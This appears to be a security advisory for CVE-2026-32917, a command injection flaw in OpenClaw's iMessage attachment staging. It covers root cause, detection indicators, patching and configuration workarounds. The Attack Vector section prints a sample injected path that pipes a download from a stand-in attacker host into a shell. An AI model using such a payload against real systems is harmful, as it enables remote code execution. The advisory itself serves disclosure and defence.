CVE-2026-32917: Openclaw Remote Command Injection Flaw

CVE-2026-32917 Overview

CVE-2026-32917 is a critical remote command injection vulnerability affecting OpenClaw versions prior to 2026.3.13. The vulnerability exists in the iMessage attachment staging flow, where unsanitized remote attachment paths containing shell metacharacters are passed directly to the SCP remote operand without proper validation. When remote attachment staging is enabled, attackers can exploit this flaw to execute arbitrary commands on configured remote hosts, potentially leading to complete system compromise.

Critical Impact

Remote attackers can execute arbitrary commands on systems running vulnerable OpenClaw instances with remote attachment staging enabled, potentially gaining unauthorized access to sensitive data and system resources.

Affected Products

• OpenClaw versions prior to 2026.3.13
• OpenClaw Node.js implementations with remote attachment staging enabled

Discovery Timeline

• 2026-03-31 - CVE-2026-32917 published to NVD
• 2026-04-02 - Last updated in NVD database

Technical Details for CVE-2026-32917

Vulnerability Analysis

This command injection vulnerability (CWE-78) stems from improper input validation in OpenClaw's iMessage attachment staging functionality. The application fails to sanitize remote attachment paths before passing them to SCP (Secure Copy Protocol) operations. When processing iMessage attachments destined for remote hosts, the application constructs SCP commands using user-controllable path values without escaping shell metacharacters.

The network-accessible attack vector allows unauthenticated remote attackers to inject malicious commands through specially crafted attachment paths. When the SCP command is executed, any embedded shell metacharacters are interpreted by the underlying shell, enabling arbitrary command execution with the privileges of the OpenClaw process.

Root Cause

The root cause is missing input sanitization in the remote attachment staging workflow. Specifically, the application directly concatenates unsanitized remote attachment paths into SCP command strings without proper escaping or validation. This violates secure coding principles that mandate treating all external input as untrusted and sanitizing it before use in command execution contexts.

Attack Vector

The vulnerability is exploited by providing a malicious attachment path containing shell metacharacters (such as $(), backticks, semicolons, or pipes) through the iMessage attachment staging flow. When OpenClaw processes the attachment and constructs the SCP command to copy the file to a remote host, the injected metacharacters are interpreted by the shell, executing the attacker's arbitrary commands.

For example, an attacker could craft an attachment path like ;curl attacker.com/malware|sh; which, when passed to the SCP operand without sanitization, would execute the injected command on the remote host. The attack requires that remote attachment staging is enabled in the OpenClaw configuration.

Detection Methods for CVE-2026-32917

Indicators of Compromise

• Unusual SCP process executions with suspicious command-line arguments containing shell metacharacters
• Unexpected outbound network connections originating from OpenClaw or SCP processes
• Log entries showing malformed attachment paths with characters like ;, |, $(), or backticks
• Anomalous process spawning from SCP or OpenClaw parent processes

Detection Strategies

• Monitor SCP command-line arguments for shell metacharacters and injection patterns
• Implement application-level logging to capture all attachment path inputs before processing
• Deploy network intrusion detection rules to identify command injection payloads in iMessage attachment data
• Use endpoint detection to identify suspicious child process creation from OpenClaw processes

Monitoring Recommendations

• Enable verbose logging for the OpenClaw attachment staging module
• Configure alerts for SCP executions with unusual command structures
• Monitor for unexpected commands being executed with OpenClaw process privileges
• Review system logs for signs of post-exploitation activity such as reverse shells or data exfiltration

How to Mitigate CVE-2026-32917

Immediate Actions Required

• Upgrade OpenClaw to version 2026.3.13 or later immediately
• Disable remote attachment staging if not required for operations
• Review systems for signs of compromise before and after patching
• Implement network segmentation to limit impact if remote hosts are compromised

Patch Information

OpenClaw has released version 2026.3.13 which addresses this vulnerability by implementing proper input sanitization for remote attachment paths. The fix ensures shell metacharacters are properly escaped before being passed to SCP operations. The security patch is available in commit a54bf71b4c0cbe554a84340b773df37ee8e959de. Additional details can be found in the GitHub Security Advisory GHSA-g2f6-pwvx-r275.

Workarounds

• Disable the remote attachment staging feature in OpenClaw configuration until patching is possible
• Implement network-level controls to restrict SCP traffic from OpenClaw hosts
• Deploy web application firewall rules to filter malicious attachment path patterns
• Run OpenClaw with minimal privileges to limit the impact of command execution

# Disable remote attachment staging in OpenClaw configuration
# Edit openclaw.config.js or equivalent configuration file
# Set remoteAttachmentStaging to false

export OPENCLAW_REMOTE_STAGING_ENABLED=false

# Alternatively, restrict SCP to specific trusted hosts only
# Add to /etc/hosts.deny or equivalent
sshd: ALL EXCEPT trusted-remote-host.example.com